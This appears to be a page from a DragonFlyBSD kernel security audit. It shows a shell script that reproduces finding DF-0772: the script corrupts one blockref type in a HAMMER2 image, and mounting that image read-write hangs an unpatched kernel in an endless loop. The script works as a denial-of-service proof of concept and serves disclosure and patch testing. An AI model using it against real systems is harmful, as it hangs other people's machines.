DragonFlyBSD Kernel Audit
DF-0772 / trigger.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0772 trigger: create + corrupt a HAMMER2 image, then RW-mount it
# Expected on UNPATCHED kernel: mount hangs forever (infinite loop in hammer2_fixup_pfses)
# Expected on PATCHED kernel:   mount proceeds past fixup_pfses (may be slow for iocom reasons)
set -e
IMG=/tmp/h2.img
MNTPNT=/mnt/h2test
CORRUPT_TOOL=/tmp/corrupt_h2

echo "[*] Creating 512MB HAMMER2 image..."
rm -f "$IMG"
dd if=/dev/zero of="$IMG" bs=1m count=512 2>/dev/null

echo "[*] Formatting with newfs_hammer2..."
newfs_hammer2 "$IMG" > /dev/null 2>&1

echo "[*] Building corruption tool..."
cc -o "$CORRUPT_TOOL" /tmp/corrupt_h2.c /usr/src/sys/libkern/icrc32.c

echo "[*] Corrupting image: child[0] blockref type INODE(1) -> DATA(3)..."
"$CORRUPT_TOOL" "$IMG" corrupt

echo "[*] Configuring vn device..."
vnconfig -c vn0 "$IMG" 2>/dev/null || true
mkdir -p "$MNTPNT"

echo "[*] RW mount (this hangs on unpatched kernel)..."
echo "    serial log should show: 'no recovery needed' then SILENCE (spin)"
mount_hammer2 /dev/vn0 "$MNTPNT"
echo "[+] Mount completed (only reaches here on patched kernel)"